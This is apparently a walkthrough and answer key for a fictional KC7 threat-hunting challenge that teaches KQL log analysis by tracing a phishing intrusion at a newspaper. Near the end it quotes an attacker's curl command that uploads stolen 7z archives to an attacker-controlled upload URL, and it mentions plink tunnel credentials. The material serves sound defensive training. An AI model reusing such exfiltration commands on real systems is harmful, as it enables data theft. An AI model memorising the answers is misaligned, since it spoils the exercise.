KQL 101, A Scandal in Valdoria – KC7 Cyber Challenge
Build your KQL skills in the KC7 Cyber Challenge by working through real-world threat hunting scenarios. Master the basics of querying with KQL and learn how to pivot through logs to uncover suspicious activity.
🔍 Overview
The KQL 101 section is the first part of the KC7 Cyber Challenge Module 132, introducing foundational concepts for querying logs with Kusto Query Language (KQL). This module sets the stage for the rest of the challenge, walking you through how to investigate events using real-world log formats.
📚 Module Structure
This challenge is divided into four parts:
- KQL 101
- Welcome to Valdoria!
- Plenty of Phish
- A Scandal
Each section builds on the last. For example, you may uncover an IP address or user account in one task that becomes the key to solving several others.
🛠️ Skills Practiced
- Writing basic and advanced KQL queries
- Using tables like
SigninLogs,DeviceLogonEvents, etc. - Filtering and projecting fields
- Pivoting on IoCs (IP addresses, usernames, hostnames)
- Log correlation and event tracing
🧪 What You’ll Learn
By the end of this section, you’ll be able to:
- Query effectively in Microsoft Sentinel
- Identify suspicious logon behavior
- Track user and device activity through logs
- Use summarization and visualization techniques for analysis
✅ Completion Notes
The KQL 101 section is a great primer for new threat hunters or SOC analysts looking to sharpen their detection and log analysis skills in a Microsoft ecosystem. Everything learned here plays a role in uncovering deeper threats in the upcoming sections of the challenge.
KQL 101 Intro: Welcome to Valdoria!
On the eve of the election, Nene Leaks, the esteemed editor of The Valdorian Times, awoke to a nightmare. The Valdorian Times, the beacon of truth for the city, published a scandalous article accusing Luffy of corruption and misconduct. The article, a vile concoction of lies, was not what she had approved.
The article alleged that Luffy, hailed for his environmental activism and social reforms, was secretly involved in a land deal scandal, exploiting his position to benefit a shadowy network of real estate moguls. Furthermore, it accused Luffy of accepting substantial bribes to push environmentally damaging policies, a stark contradiction to his public persona.
However, the article, a vile concoction of lies, was not what had been approved by the newspaper’s editor 😵.
The Valdorian Times has hired you as a cyber incident responder to help investigate the incident and get to the bottom of how the falsified article was published.
Run a take 10 on each of the tables to see what kind of data they contain.
Now that we have access to the data, we’ll need to get a lay of the land. Let’s get some more information about the Valdorian Times.
How many employees work at the Valdorian Times?
We can use the where operator with the Employees table to find a specific employee.
Here is a template you can follow:
Table
| where <field> <operator> <value>
What is the Editorial Director’s name?
Note
Email = nene_leaks@valdoriantimes.news Name = Nene Leaks
We can learn more about Nene Leaks using information from other tables. Let’s take her email address from the Employees table and use it in a query for the Email table.
How many emails did Nene Leaks receive?
You can use the distinct operator to find unique values in a specific column.
How many distinct senders were seen in the email logs from the domain name “weprinturstuff.com”?
How many distinct websites did “Lois Lane” visit?
How many distinct domains in the PassiveDns records contain the word “hire”?
What IPs did the domain “jobhire.org” resolve to (enter any one of them)?
How many distinct websites did employees with the first name “Mary” Visit?
How many authentication attempts did we see to the accounts of employees with the first name Mary?
Section 2: Welcome to Valdoria
- As a first step, you reach out to the Editorial Director Nene Leaks to ask for more information
What is the Newspaper Printer’s name?
Clark Kent
What is the Editorial Intern’s name?
Ronnie McLovin
How many total emails has Clark Kent received?
When was the Editorial Intern hired at The Valdorian Times?
1/2/2024, 8:00:00 AM
Review the emails sent to Clark Kent for the one sent on January 31, 2024 containing the final edits for the election OpEd.
Note Email = clark_kent@valdoriantimes.news
What was the subject line of this email?
Who sent this email containing the final edits for the OpEd piece?
Enter the sender’s email address.
ronnie_mclovin@valdoriantimes.news
What was the name of the .docx file that was sent in this email?
OpEdFinal_to_print.docx
So, it looks like Ronnie did send the email. When you go back and talk to Ronnie, she is adamant that she never sent the draft. She thinks maybe someone else used her account to send it.
She doesn’t recall getting any unusual emails or any other weird activity on her computer.
Do you think this needs further investigation (yes/no)? Choose wisely 😉
yes
Section 3: Plenty of Phish
You stop by The Valdorian Times office and meet with some staff. After the meeting, one employee, Sonia Gose, comes up to you and says she may have something that can help with your investigation.
What is Sonia’s job role?
Sonia shows you a suspicious email she received a few weeks ago.
What email address was used to send this email?
newspaper_jobs@gmail.com
When was the email sent to Sonia Gose? Enter the exact timestamp from the logs.
Which URL was included in the email?
https://promotionrecruit.com/published/Valdorian_Times_Editorial_Offer_Letter.docx
You ask Sonia if she clicked on the link but she says she doesn’t remember. Let’s help her remember. 😐
What is Sonia Gose’s IP address?
10.10.0.3
Did Sonia click on this link?
If so, enter the timestamp when she clicked the link. If not, type “no”.
1/5/2024, 10:23:17 AM
Oh no! It looks like Sonia did click on the link! 😱
What was the name of the docx file in the link that Sonia clicked?
Valdorian_Times_Editorial_Offer_Letter.docx
If she clicked on the link, we should assume that file might have been downloaded. Let’s see if we can find the file on her machine.
What is Sonia Gose’s hostname?
UL0M-MACHINE
When did the downloaded docx file first show up on Sonia’s machine?
1/5/2024, 10:24:04 AM
What was the full path of the docx file that was downloaded to Sonia’s machine?
C:\Users\sogose\Downloads\Valdorian_Times_Editorial_Offer_Letter.docx
A hash is a string that uniquely represents the contents of a file. We can get the hash of a file by running it through a hashing algorithm. Lucky for us, the hashes of all downloaded files are already captured.
What is the sha256 hash of the file that Sonia downloaded?
60b854332e393a6a2f0015383969c3ac705126a6b7829b762057a3994967a61f
After the malicious file was downloaded, it began executing malicious content 🪲
Let’s continue to look at Sonia’s machine.
What is the name of the file (.ps1) that was written to disk immediately after the docx was downloaded?
hacktivist_manifesto.ps1
When was this new file created?
1/5/2024, 10:24:32 AM
The file extension of this new file, “.ps1” is pretty interesting.
Let’s do some research! What type of file is this?
PowerShell
You manage to do some forensics and get a copy of the PowerShell script. Here’s what it looks like:
What does the attacker say to “let you know they are here”?
lol ur bout 2 get pwnd
According to the PowerShell script, what might be the hacker’s favorite color?
Green
The purpose of the script is to invoke __ and uncover da truth
Plink
We might be able to find more information about the PowerShell script in ProcessEvents data.
Look for process events related to the PowerShell script. Use the name of the .ps1 file (hacktivist_manifesto.ps1) to find related ProcessEvents.
How many Process Events are there related to this PowerShell script on Sonia’s machine?
It looks like one of the processes is using schtasks.exe, which creates scheduled tasks. Scheduled tasks can be used to conduct certain actions at a regular interval.
What is the full command used to create the scheduled task?
What ExecutionPolicy is set in the command?
What ExecutionPolicy is set in the command?
Check ProcessEvents for evidence of plink.exe being executed on Sonia’s machine.
What IP address is used when plink is executed?
That’s not good. 🫢 It looks like an attacker has established a connection to Sonia’s computer from an external IP address.
What username did the attacker use when connecting via plink?
$had0w
What password did the attacker use when connecting via plink?
thruthW!llS3tUfree
Attackers use plink to establish a tunnel to a compromised machine. Now that the attackers have established a tunnel to Sonia’s machine, they can manually run commands to do specific things on the device. This is called hands-on-keyboard activity.
Let’s look closer at this machine to find commands that the attackers may have run after establishing the tunnel.
What six-letter command did the attackers run to figure out which user they are logged on as on the computer?
whoami
How many discovery commands did the attackers run on this machine?
5
We’ve hit a dead end! You triaged the rest of the logs for this machine and it looks like nothing else malicious happened here.
Maybe the attackers weren’t interested in Sonia…
Do you think we can safely stop our investigation here? (yes/no)
no
Section 4: A Scandal
We can apply what we’ve learned by investigating the activity affecting Sonia to find other victims of this incident.
I hope you took good notes. Another suspicious email address valdorias_best_recruiter@gmail.com was seen sending emails to intern Ronnie and a few others.
How many total emails were sent by this email sender to users at The Valdorian Times?
Uh oh… it looks like that email address was used to target Ronnie!
When did valdorias_best_recruiter@gmail.com send an email to Ronnie McLovin?*
Ronnie McLovin Credentials: ronnie_mclovin@valdoriantimes.news A37A-DESKTOP romclovin 10.10.0.19
1/10/2024, 8:48:16 AM
What domain was in the link from that email?
promotionrecruit.org
What was the subject of that email?
[EXTERNAL] Breaking News: We're Hiring! Apply Now for Reporter Roles
Just as we did with Sonia before, now we need to see if Ronnie clicked the link.
When did Ronnie click on the link in the email from valdorias_best_recruiter@gmail.com ?
Note https://promotionrecruit.org/share/Editorial_J0b_Openings_2024.docx
1/10/2024, 8:55:07 AM
What was the name of the .docx file that was downloaded to Ronnie’s machine?
Editorial_J0b_Openings_2024.docx
When was this docx file downloaded?
1/10/2024, 8:55:17 AM
When was the .ps1 file dropped to Ronnie’s machine?
1/10/2024, 8:55:51 AM
What IP address was used with plink on Ronnie’s machine?
168.57.191.100
What username was used with plink on Ronnie’s machine?
$had0w
####
What password was used with plink on Ronnie’s machine?
thruthW!llS3tUfree
How many discovery commands were run on Ronnie’s machine?
5
Your investigative buddy, who was also looking at Ronnie’s machine, saw a weird file fakestory.docx being downloaded from a suspicious domain.
Let’s see if we can find evidence of this download in OutboundNetworkEvents.
What is Ronnie’s IP address?
What is the full URL fakestory.docx was downloaded from?
https://hire-recruit.org/files/fakescandal/2024/fakestory.docx
It does look like someone downloaded fakestory.docx to Ronnie’s machine. Let’s see if we can find that file on disk.
What is Ronnie’s hostname?
A37A-DESKTOP
What is the sha256 hash of fakestory.docx on Ronnie’s machine?
5f8a7b627533e22aa3e5c3594605dc6fe6f000b0cc2b845ece47ca60673ec7f
When was fakestory.docx created on Ronnie’s machine?
1/31/2024, 9:47:51 AM
Ronnie doesn’t recall ever seeing that file or visiting that domain. It seems that this file download is evidence of hands-on-keyboard activity from the attackers.
Let’s see what the attackers did after they downloaded fakestory.docx by looking at ProcessEvents for Ronnie’s machine.
After downloading fakestory.docx, the attackers ran a command to rename and move the file to a different location.
What is the new path for the document?
C:\Users\romclovin\Documents\OpEdFinal_to_print.docx
When was this command executed to rename and move the file?
1/31/2024, 10:26:20 AM
OpEdFinal… that seems familiar.
Wait a minute, that’s the same file name you saw when you looked in the email logs to find Ronnie sending the draft to Clark Kent. Is it possible that the attacker used Ronnie’s email to send this file to Clark?
When was OpEdFinal_to_print.docx emailed from Ronnie’s account to Clark Kent?
1/31/2024, 11:11:12 AM
How many minutes elapsed between when the file was moved/renamed on Ronnie machine and when the email was sent to Clark Kent?
44
What was the subject line of this email?
URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow's paper))
Wow! So it looks like the attackers downloaded the fake story, renamed it OpEdFinal_to_print.docx, and then sent the file to Clark Kent using Ronnie’s email!
Do you think this is the only thing the attackers did on Ronnie’s machine? (yes/no)
no
In the middle of your investigation, Ronnie finds you and shows you an alert she received from her dark web monitoring service.
What is the domain mentioned in this alert?
hirerecruit.com
Oh no! It looks like someone may have stolen Ronnie’s memes from her machine! Let’s see if we can find evidence of the attackers stealing any data.
We can timebound our analysis to find other actions that ocurred around the same time by using this query:
How many total commands were run in this timeframe?
2
Right after renaming fakestory.docx to OpEdFinal_to_print.docx, the attackers ran commands to steal (exfiltrate) data from Ronnie’s machine.
One command the attackers ran leveraged 7zip to compress all of Ronnie’s dank memes into a .7z file.
What is the name of the .7z file that contains the stolen memes?
DankMemes.7z
What is the name of the .7z file that contains files stolen from Ronnie’s Documents folder?
MyStolenDataFromDocuments.7z
What is the name of the .7z file that contains files stolen from Ronnie’s Desktop folder?
MyStolenDataFromDesktop.7z
What is the password the attackers used to encrypt all of the .7z files?
thruthW!llS3tUfree
After compressing all the stolen data into .7z files, the attackers exfiltrated the data by uploading it to a custom portal on their website.
What is the full command the attackers ran to do this?
curl -F "file=@C:\Users\romclovin\Documents\*.7z" https://hirejob.com/exfil_processor/upload.php
What domain was the stolen data uploaded to?
hirejob.com
Query ProcessEvents for all devices at Valdorian Times.
Was data stolen from any other devices and uploaded to hirejob.com? (yes/no)
